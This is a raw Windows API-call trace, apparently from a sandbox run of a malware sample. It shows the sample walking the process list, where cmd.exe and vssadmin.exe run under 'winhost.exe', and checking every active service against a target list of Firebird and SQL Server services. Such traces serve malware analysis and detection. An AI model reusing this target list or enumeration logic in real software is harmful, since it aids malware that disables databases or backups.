th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="nj_sh.exe")) returned 1 [0074.634] lstrlenW (lpString="nj_sh.exe") returned 9 [0074.634] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="motherboard_dial_rule.exe")) returned 1 [0074.634] lstrlenW (lpString="motherboard_dial_rule.exe") returned 25 [0074.634] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="telecommunications.exe")) returned 1 [0074.634] lstrlenW (lpString="telecommunications.exe") returned 22 [0074.635] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sound banking.exe")) returned 1 [0074.635] lstrlenW (lpString="sound banking.exe") returned 17 [0074.635] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0074.635] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0074.635] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0074.636] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0074.636] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0074.636] lstrlenW (lpString="taskhost.exe") returned 12 [0074.636] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0074.637] lstrlenW (lpString="winhost.exe") returned 11 [0074.637] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb80, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.637] lstrlenW (lpString="cmd.exe") returned 7 [0074.637] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.638] lstrlenW (lpString="conhost.exe") returned 11 [0074.638] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb1c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0074.638] lstrlenW (lpString="vssadmin.exe") returned 12 [0074.638] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0074.638] lstrlenW (lpString="VSSVC.exe") returned 9 [0074.639] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0074.639] CloseHandle (hObject=0x168) returned 1 [0074.639] Sleep (dwMilliseconds=0x1f4) [0075.537] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52ffa0 [0075.538] EnumServicesStatusExW (in: hSCManager=0x52ffa0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 0 [0075.538] GetLastError () returned 0xea [0075.538] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12c6) returned 0x4fe060 [0075.538] EnumServicesStatusExW (in: hSCManager=0x52ffa0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4fe060, cbBufSize=0x12c6, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4fe060, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 1 [0075.539] CloseServiceHandle (hSCObject=0x52ffa0) returned 1 [0075.539] lstrlenW (lpString="Appinfo") returned 7 [0075.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0075.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0075.539] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0075.539] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0075.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0075.539] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0075.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0075.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0075.540] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0075.540] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0075.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0075.540] lstrlenW (lpString="AudioSrv") returned 8 [0075.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0075.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0075.540] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0075.540] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0075.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0075.540] lstrlenW (lpString="BFE") returned 3 [0075.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0075.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0075.540] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0075.540] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0075.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0075.540] lstrlenW (lpString="CryptSvc") returned 8 [0075.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0075.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0075.540] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0075.540] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0075.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0075.540] lstrlenW (lpString="CscService") returned 10 [0075.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0075.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0075.540] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0075.540] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0075.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0075.540] lstrlenW (lpString="DcomLaunch") returned 10 [0075.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0075.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0075.541] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0075.541] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0075.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0075.541] lstrlenW (lpString="Dhcp") returned 4 [0075.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0075.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0075.541] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0075.541] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0075.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0075.541] lstrlenW (lpString="Dnscache") returned 8 [0075.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0075.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0075.541] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0075.541] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0075.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0075.541] lstrlenW (lpString="DPS") returned 3 [0075.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0075.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0075.541] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0075.541] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0075.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0075.541] lstrlenW (lpString="eventlog") returned 8 [0075.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0075.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0075.541] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0075.541] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0075.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0075.541] lstrlenW (lpString="EventSystem") returned 11 [0075.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0075.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0075.541] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0075.541] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0075.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0075.542] lstrlenW (lpString="gpsvc") returned 5 [0075.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0075.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0075.542] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0075.542] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0075.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0075.542] lstrlenW (lpString="iphlpsvc") returned 8 [0075.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0075.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0075.542] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0075.542] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0075.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0075.542] lstrlenW (lpString="LanmanServer") returned 12 [0075.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0075.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0075.542] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0075.542] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0075.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0075.542] lstrlenW (lpString="LanmanWorkstation") returned 17 [0075.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0075.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0075.542] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0075.542] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0075.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0075.542] lstrlenW (lpString="lmhosts") returned 7 [0075.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0075.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0075.542] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0075.542] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0075.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0075.543] lstrlenW (lpString="MMCSS") returned 5 [0075.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0075.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0075.543] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0075.543] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0075.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0075.543] lstrlenW (lpString="MpsSvc") returned 6 [0075.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0075.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0075.543] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0075.543] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0075.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0075.543] lstrlenW (lpString="Netman") returned 6 [0075.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0075.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0075.543] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0075.543] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0075.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0075.543] lstrlenW (lpString="netprofm") returned 8 [0075.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0075.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0075.543] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0075.543] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0075.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0075.543] lstrlenW (lpString="NlaSvc") returned 6 [0075.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0075.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0075.543] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0075.543] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0075.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0075.543] lstrlenW (lpString="nsi") returned 3 [0075.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0075.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0075.544] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0075.544] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0075.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0075.544] lstrlenW (lpString="PcaSvc") returned 6 [0075.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0075.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0075.544] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0075.544] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0075.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0075.544] lstrlenW (lpString="PlugPlay") returned 8 [0075.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0075.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0075.544] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0075.544] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0075.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0075.544] lstrlenW (lpString="Power") returned 5 [0075.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0075.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0075.544] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0075.544] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0075.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0075.544] lstrlenW (lpString="ProfSvc") returned 7 [0075.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0075.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0075.544] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0075.544] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0075.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0075.544] lstrlenW (lpString="RpcEptMapper") returned 12 [0075.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0075.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0075.544] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0075.544] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0075.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0075.544] lstrlenW (lpString="RpcSs") returned 5 [0075.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0075.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0075.545] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0075.545] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0075.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0075.545] lstrlenW (lpString="SamSs") returned 5 [0075.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0075.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0075.545] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0075.545] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0075.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0075.545] lstrlenW (lpString="Schedule") returned 8 [0075.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0075.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0075.545] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0075.545] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0075.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0075.545] lstrlenW (lpString="SENS") returned 4 [0075.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0075.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0075.545] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0075.545] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0075.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0075.545] lstrlenW (lpString="ShellHWDetection") returned 16 [0075.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0075.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0075.545] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0075.545] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0075.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0075.545] lstrlenW (lpString="Spooler") returned 7 [0075.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0075.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0075.545] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0075.545] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0075.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0075.546] lstrlenW (lpString="swprv") returned 5 [0075.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0075.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0075.546] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0075.546] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0075.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0075.546] lstrlenW (lpString="SysMain") returned 7 [0075.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0075.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0075.546] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0075.546] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0075.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0075.546] lstrlenW (lpString="Themes") returned 6 [0075.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0075.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0075.546] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0075.546] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0075.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0075.546] lstrlenW (lpString="TrkWks") returned 6 [0075.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0075.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0075.546] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0075.546] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0075.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0075.546] lstrlenW (lpString="UxSms") returned 5 [0075.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0075.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0075.546] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0075.546] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0075.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0075.546] lstrlenW (lpString="VSS") returned 3 [0075.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0075.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0075.547] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0075.547] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0075.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0075.547] lstrlenW (lpString="WdiServiceHost") returned 14 [0075.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0075.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0075.547] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0075.547] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0075.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0075.547] lstrlenW (lpString="WdiSystemHost") returned 13 [0075.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0075.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0075.547] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0075.547] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0075.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0075.547] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0075.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0075.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0075.547] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0075.547] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0075.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0075.547] lstrlenW (lpString="Winmgmt") returned 7 [0075.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0075.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0075.547] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0075.548] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0075.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 